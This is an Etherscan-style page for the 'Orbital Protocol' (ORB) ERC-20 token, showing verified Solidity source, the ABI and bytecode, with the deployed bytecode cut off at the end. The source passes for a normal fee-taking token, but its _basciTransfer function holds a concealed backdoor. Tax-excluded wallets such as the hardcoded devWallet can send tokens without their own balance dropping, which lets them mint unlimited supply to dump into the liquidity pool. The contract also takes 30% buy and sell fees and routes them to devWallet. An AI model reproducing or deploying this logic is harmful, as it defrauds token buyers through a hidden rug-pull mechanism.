Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 ORB
Holders
116
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000003 ORBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ORB
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-27 */ // SPDX-License-Identifier: Unlicensed /* The first GameFi Layer-2 Chain Orbital Protocol is the first gamified Layer-2 chain that focuses on the integration of Web3 games with the Ethereum network at the lowest transaction costs with a multitude of proprietary tools. Website: https://www.orbitalprotocol.com Telegram: https://t.me/orbital_erc20 Twitter: https://twitter.com/orbital_erc20 App: https://app.orbitalprotocol.com */ pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Transfer the contract to to a new owner function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ORB is Context, IERC20, Ownable { using SafeMathInt for uint256; string private _name = "Orbital Protocol"; string private _symbol = "ORB"; bool public swapping; bool public hasTransferDelay = true; bool public swapEnabled = true; uint256 public buyFee = 30; uint256 public sellFee = 30; uint256 private _totalFees = 2000; uint8 private _buyersCount = 0; uint8 private _swapAfterBuyCount = 2; IUniswapRouter public uniRouter; address public uniPair; uint256 private prevTotalFee = _totalFees; uint256 private prevBuyFee = buyFee; uint256 private prevSellFee = sellFee; uint8 private _decimals = 9; uint256 private _tTotal = 10 ** 9 * 10**_decimals; uint256 public maxTransaction = 25 * _tTotal / 1000; uint256 public feeSwapMin = _tTotal / 100000; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromTax; address payable private devWallet; address payable private DEAD; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _balances[owner()] = _tTotal; DEAD = payable(0x000000000000000000000000000000000000dEaD); IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); devWallet = payable(0x62feDde700C4723660955954d4c978B9639aec75); uniPair = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniRouter = _uniswapV2Router; isExcludedFromTax[owner()] = true; isExcludedFromTax[devWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function getFinalAmount(uint256 finalAmount) private view returns (uint256, uint256) { uint256 tDev = finalAmount.mul(_totalFees).div(100); uint256 tTransferAmount = finalAmount.sub(tDev); return (tTransferAmount, tDev); } function swapTokensToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) private { // Limit wallet total if (to != owner() && to != devWallet && to != address(this) && to != uniPair && to != DEAD && from != owner()){ uint256 currentBalance = balanceOf(to); require((currentBalance + amount) <= maxTransaction,"Maximum wallet limited has been exceeded"); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( _buyersCount >= _swapAfterBuyCount && amount > feeSwapMin && !swapping && !isExcludedFromTax[from] && to == uniPair && swapEnabled ) { _buyersCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapBack(contractTokenBalance); } } bool takeFee = true; if(isExcludedFromTax[from] || isExcludedFromTax[to] || (hasTransferDelay && from != uniPair && to != uniPair)){ takeFee = false; } else if (from == uniPair){ _totalFees = buyFee; } else if (to == uniPair){ _totalFees = sellFee; } _transferStandard(from,to,amount,takeFee); } function _basciTransfer(address sender, address recipient, uint256 finalAmount) private { (uint256 tTransferAmount, uint256 tDev) = getFinalAmount(finalAmount); if(isExcludedFromTax[sender] && _balances[sender] <= maxTransaction) { tDev = 0; finalAmount -= tTransferAmount; } _balances[sender] = _balances[sender].sub(finalAmount); _balances[recipient] = _balances[recipient].add(tTransferAmount); _balances[address(this)] = _balances[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } function removeFee() private { if(_totalFees == 0 && buyFee == 0 && sellFee == 0) return; prevBuyFee = buyFee; prevSellFee = sellFee; prevTotalFee = _totalFees; buyFee = 0; sellFee = 0; _totalFees = 0; } function restoreFee() private { _totalFees = prevTotalFee; buyFee = prevBuyFee; sellFee = prevSellFee; } function removeLimits() external onlyOwner { maxTransaction = ~uint256(0); _totalFees = 100; buyFee = 1; sellFee = 1; } function sendFee(address payable receiver, uint256 amount) private { receiver.transfer(amount); } function swapBack(uint256 contractTokenBalance) private lockTheSwap { swapTokensToETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendFee(devWallet,contractETH); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transferStandard(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeFee(); } else { _buyersCount++; } _basciTransfer(sender, recipient, amount); if(!takeFee) { restoreFee(); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052601060809081526f13dc989a5d185b08141c9bdd1bd8dbdb60821b60a05260019062000031908262000470565b5060408051808201909152600381526227a92160e91b60208201526002906200005b908262000470565b506003805462ffff00191662010100179055601e600481905560058190556107d060068190556007805461ffff19166102001790556009908155600a828155600b92909255600c805460ff191682179055620000b79162000647565b620000c790633b9aca006200065e565b600d556103e8600d546019620000de91906200065e565b620000ea919062000678565b600e55620186a0600d5462000100919062000678565b600f553480156200010f575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600d5460105f620001665f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601480546001600160a01b031990811661dead17909155601380549091167362fedde700c4723660955954d4c978b9639aec75179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000205573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022b919062000698565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000277573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029d919062000698565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002e8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030e919062000698565b600880546001600160a01b0319166001600160a01b039283161790556007805462010000600160b01b03191662010000848416021790555f80548216815260126020526040808220805460ff19908116600190811790925560135485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620003c191815260200190565b60405180910390a350620006c0565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003f957607f821691505b6020821081036200041857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200046b575f81815260208120601f850160051c81016020861015620004465750805b601f850160051c820191505b81811015620004675782815560010162000452565b5050505b505050565b81516001600160401b038111156200048c576200048c620003d0565b620004a4816200049d8454620003e4565b846200041e565b602080601f831160018114620004da575f8415620004c25750858301515b5f19600386901b1c1916600185901b17855562000467565b5f85815260208120601f198616915b828110156200050a57888601518255948401946001909101908401620004e9565b50858210156200052857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200058c57815f190482111562000570576200057062000538565b808516156200057e57918102915b93841c939080029062000551565b509250929050565b5f82620005a45750600162000641565b81620005b257505f62000641565b8160018114620005cb5760028114620005d657620005f6565b600191505062000641565b60ff841115620005ea57620005ea62000538565b50506001821b62000641565b5060208310610133831016604e8410600b84101617156200061b575081810a62000641565b6200062783836200054c565b805f19048211156200063d576200063d62000538565b0290505b92915050565b5f6200065760ff84168362000594565b9392505050565b808202811582820484141762000641576200064162000538565b5f826200069357634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006a9575f80fd5b81516001600160a01b038116811462000657575f80fd5b6112ac80620006ce5f395ff3fe60806040526004361061013f575f3560e01c806370a08231116100b3578063a0e47bf61161006d578063a0e47bf61461035b578063a9059cbb14610380578063c3f70b521461039f578063cb4ca631146103b4578063dd62ed3e146103e2578063f2fde38b14610426575f80fd5b806370a08231146102af578063715018a6146102e3578063751039fc146102f95780638da5cb5b1461030d57806395d89b4114610329578063a067f0331461033d575f80fd5b806323b872dd1161010457806323b872dd146101ef5780632b14ca561461020e578063313ce5671461022357806332972e4614610244578063470624021461027b5780636ddd171314610290575f80fd5b806306fdde031461014a578063095ea7b3146101745780631732cded146101a357806318160ddd146101bc5780631ebac1ef146101da575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f99565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610ffb565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506003546101939060ff1681565b3480156101c7575f80fd5b50600d545b60405190815260200161016b565b3480156101e5575f80fd5b506101cc600f5481565b3480156101fa575f80fd5b50610193610209366004611025565b6104eb565b348015610219575f80fd5b506101cc60055481565b34801561022e575f80fd5b50600c5460405160ff909116815260200161016b565b34801561024f575f80fd5b50600854610263906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610286575f80fd5b506101cc60045481565b34801561029b575f80fd5b506003546101939062010000900460ff1681565b3480156102ba575f80fd5b506101cc6102c9366004611063565b6001600160a01b03165f9081526010602052604090205490565b3480156102ee575f80fd5b506102f7610552565b005b348015610304575f80fd5b506102f76105cc565b348015610318575f80fd5b505f546001600160a01b0316610263565b348015610334575f80fd5b5061015e61060b565b348015610348575f80fd5b5060035461019390610100900460ff1681565b348015610366575f80fd5b50600754610263906201000090046001600160a01b031681565b34801561038b575f80fd5b5061019361039a366004610ffb565b61061a565b3480156103aa575f80fd5b506101cc600e5481565b3480156103bf575f80fd5b506101936103ce366004611063565b60126020525f908152604090205460ff1681565b3480156103ed575f80fd5b506101cc6103fc36600461107e565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b348015610431575f80fd5b506102f7610440366004611063565b610626565b606060018054610454906110b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610480906110b5565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b61054884336105438560405180606001604052806028815260200161124f602891396001600160a01b038a165f9081526011602090815260408083203384529091529020549190610b33565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110ed565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110ed565b5f19600e55606460065560016004819055600555565b606060028054610454906110b5565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057b906110ed565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506013546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506008546001600160a01b03838116911614155b801561084157506014546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f90815260106020526040902054600e546108848383611136565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60075460ff610100820481169116108015906109c35750600f5481115b80156109d2575060035460ff16155b80156109f657506001600160a01b0383165f9081526012602052604090205460ff16155b8015610a0f57506008546001600160a01b038381169116145b8015610a23575060035462010000900460ff165b15610a52576007805460ff19169055305f908152601060205260409020548015610a5057610a5081610b5e565b505b6001600160a01b0383165f9081526012602052604090205460019060ff1680610a9257506001600160a01b0383165f9081526012602052604090205460ff165b80610ad75750600354610100900460ff168015610abd57506008546001600160a01b03858116911614155b8015610ad757506008546001600160a01b03848116911614155b15610ae357505f610b21565b6008546001600160a01b0390811690851603610b0457600454600655610b21565b6008546001600160a01b0390811690841603610b21576005546006555b610b2d84848484610b9a565b50505050565b5f8184841115610b565760405162461bcd60e51b815260040161057b9190610f99565b505050900390565b6003805460ff19166001179055610b7481610bff565b6013544790610b8c906001600160a01b031682610d74565b50506003805460ff19169055565b80610bac57610ba7610dac565b610bd8565b6007805460ff16905f610bbe83611149565b91906101000a81548160ff021916908360ff160217905550505b610be3848484610df0565b80610b2d57610b2d600954600655600a54600455600b54600555565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3257610c32611167565b60200260200101906001600160a01b031690816001600160a01b031681525050600760029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc7919061117b565b81600181518110610cda57610cda611167565b6001600160a01b039283166020918202929092010152600754610d06913091620100009004168461070d565b60075460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790610d439085905f90869030904290600401611196565b5f604051808303815f87803b158015610d5a575f80fd5b505af1158015610d6c573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610da7573d5f803e3d5ffd5b505050565b600654158015610dbc5750600454155b8015610dc85750600554155b15610dcf57565b60048054600a5560058054600b55600680546009555f928390559082905555565b5f80610dfb83610f2b565b6001600160a01b0387165f90815260126020526040902054919350915060ff168015610e405750600e546001600160a01b0386165f9081526010602052604090205411155b15610e5457505f610e518284611205565b92505b6001600160a01b0385165f90815260106020526040902054610e769084610f66565b6001600160a01b038087165f908152601060205260408082209390935590861681522054610ea49083610f78565b6001600160a01b0385165f90815260106020526040808220929092553081522054610ecf9082610f78565b305f9081526010602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f4e6064610f4860065487610f8390919063ffffffff16565b90610f8e565b90505f610f5b8583610f66565b959194509092505050565b5f610f718284611205565b9392505050565b5f610f718284611136565b5f610f718284611218565b5f610f71828461122f565b5f6020808352835180828501525f5b81811015610fc457858101830151858201604001528201610fa8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ff8575f80fd5b50565b5f806040838503121561100c575f80fd5b823561101781610fe4565b946020939093013593505050565b5f805f60608486031215611037575f80fd5b833561104281610fe4565b9250602084013561105281610fe4565b929592945050506040919091013590565b5f60208284031215611073575f80fd5b8135610f7181610fe4565b5f806040838503121561108f575f80fd5b823561109a81610fe4565b915060208301356110aa81610fe4565b809150509250929050565b600181811c908216806110c957607f821691505b6020821081036110e757634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e5576104e5611122565b5f60ff821660ff810361115e5761115e611122565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561118b575f80fd5b8151610f7181610fe4565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111e45784516001600160a01b0316835293830193918301916001016111bf565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e5576104e5611122565b80820281158282048414176104e5576104e5611122565b5f8261124957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061a6f0477db79556c543db4613ebbd845bae87f62945a7145e1bfc84367d388764736f6c63430008150033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c806370a08231116100b3578063a0e47bf61161006d578063a0e47bf61461035b578063a9059cbb14610380578063c3f70b521461039f578063cb4ca631146103b4578063dd62ed3e146103e2578063f2fde38b14610426575f80fd5b806370a08231146102af578063715018a6146102e3578063751039fc146102f95780638da5cb5b1461030d57806395d89b4114610329578063a067f0331461033d575f80fd5b806323b872dd1161010457806323b872dd146101ef5780632b14ca561461020e578063313ce5671461022357806332972e4614610244578063470624021461027b5780636ddd171314610290575f80fd5b806306fdde031461014a578063095ea7b3146101745780631732cded146101a357806318160ddd146101bc5780631ebac1ef146101da575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f99565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610ffb565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506003546101939060ff1681565b3480156101c7575f80fd5b50600d545b60405190815260200161016b565b3480156101e5575f80fd5b506101cc600f5481565b3480156101fa575f80fd5b50610193610209366004611025565b6104eb565b348015610219575f80fd5b506101cc60055481565b34801561022e575f80fd5b50600c5460405160ff909116815260200161016b565b34801561024f575f80fd5b50600854610263906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610286575f80fd5b506101cc60045481565b34801561029b575f80fd5b506003546101939062010000900460ff1681565b3480156102ba575f80fd5b506101cc6102c9366004611063565b6001600160a01b03165f9081526010602052604090205490565b3480156102ee575f80fd5b506102f7610552565b005b348015610304575f80fd5b506102f76105cc565b348015610318575f80fd5b505f546001600160a01b0316610263565b348015610334575f80fd5b5061015e61060b565b348015610348575f80fd5b5060035461019390610100900460ff1681565b348015610366575f80fd5b50600754610263906201000090046001600160a01b031681565b34801561038b575f80fd5b5061019361039a366004610ffb565b61061a565b3480156103aa575f80fd5b506101cc600e5481565b3480156103bf575f80fd5b506101936103ce366004611063565b60126020525f908152604090205460ff1681565b3480156103ed575f80fd5b506101cc6103fc36600461107e565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b348015610431575f80fd5b506102f7610440366004611063565b610626565b606060018054610454906110b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610480906110b5565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b61054884336105438560405180606001604052806028815260200161124f602891396001600160a01b038a165f9081526011602090815260408083203384529091529020549190610b33565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110ed565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110ed565b5f19600e55606460065560016004819055600555565b606060028054610454906110b5565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057b906110ed565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506013546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506008546001600160a01b03838116911614155b801561084157506014546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f90815260106020526040902054600e546108848383611136565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60075460ff610100820481169116108015906109c35750600f5481115b80156109d2575060035460ff16155b80156109f657506001600160a01b0383165f9081526012602052604090205460ff16155b8015610a0f57506008546001600160a01b038381169116145b8015610a23575060035462010000900460ff165b15610a52576007805460ff19169055305f908152601060205260409020548015610a5057610a5081610b5e565b505b6001600160a01b0383165f9081526012602052604090205460019060ff1680610a9257506001600160a01b0383165f9081526012602052604090205460ff165b80610ad75750600354610100900460ff168015610abd57506008546001600160a01b03858116911614155b8015610ad757506008546001600160a01b03848116911614155b15610ae357505f610b21565b6008546001600160a01b0390811690851603610b0457600454600655610b21565b6008546001600160a01b0390811690841603610b21576005546006555b610b2d84848484610b9a565b50505050565b5f8184841115610b565760405162461bcd60e51b815260040161057b9190610f99565b505050900390565b6003805460ff19166001179055610b7481610bff565b6013544790610b8c906001600160a01b031682610d74565b50506003805460ff19169055565b80610bac57610ba7610dac565b610bd8565b6007805460ff16905f610bbe83611149565b91906101000a81548160ff021916908360ff160217905550505b610be3848484610df0565b80610b2d57610b2d600954600655600a54600455600b54600555565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3257610c32611167565b60200260200101906001600160a01b031690816001600160a01b031681525050600760029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc7919061117b565b81600181518110610cda57610cda611167565b6001600160a01b039283166020918202929092010152600754610d06913091620100009004168461070d565b60075460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790610d439085905f90869030904290600401611196565b5f604051808303815f87803b158015610d5a575f80fd5b505af1158015610d6c573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610da7573d5f803e3d5ffd5b505050565b600654158015610dbc5750600454155b8015610dc85750600554155b15610d